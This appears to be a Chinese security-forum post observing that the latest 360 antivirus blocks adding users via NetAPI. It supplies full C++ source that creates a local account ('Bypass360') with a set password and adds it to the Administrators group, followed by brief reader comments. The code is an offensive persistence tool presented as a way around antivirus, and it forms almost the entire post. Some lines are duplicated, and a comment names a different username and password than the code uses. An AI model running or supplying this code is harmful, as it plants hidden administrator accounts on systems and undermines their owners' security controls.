最新版360已经拦截netapi加用户了。
最新版360已经拦截netapi加用户了。
源码:
源码:
#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#include <iostream>
#pragma comment(lib,"netapi32")
int Usage(wchar_t*);
int wmain(int argc, wchar_t* argv[])
{
// 定义USER_INFO_1结构体
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"Bypass360"; // 账户
ui.usri1_password = L"[email protected]"; // 密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为zzzhhh的用户,密码为p@sswordQq123:
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
std::cout << "[+] Add Success!!! \n";
std::cout << "[+] UserName:Bypass360 PassWord:[email protected]\n";
}
else
{
//添加失败
std::cout << "[+] Add User Error!\n";
}
// 添加用户到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = ui.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
{
//添加成功
std::cout << "[+] Add to Administrators Success\n";
}
else
{
//添加失败
std::cout << "[+] Add to Administrators Error!\n";
}
return 0;
}
评论42次
有内鬼 .png
可以看一下BOF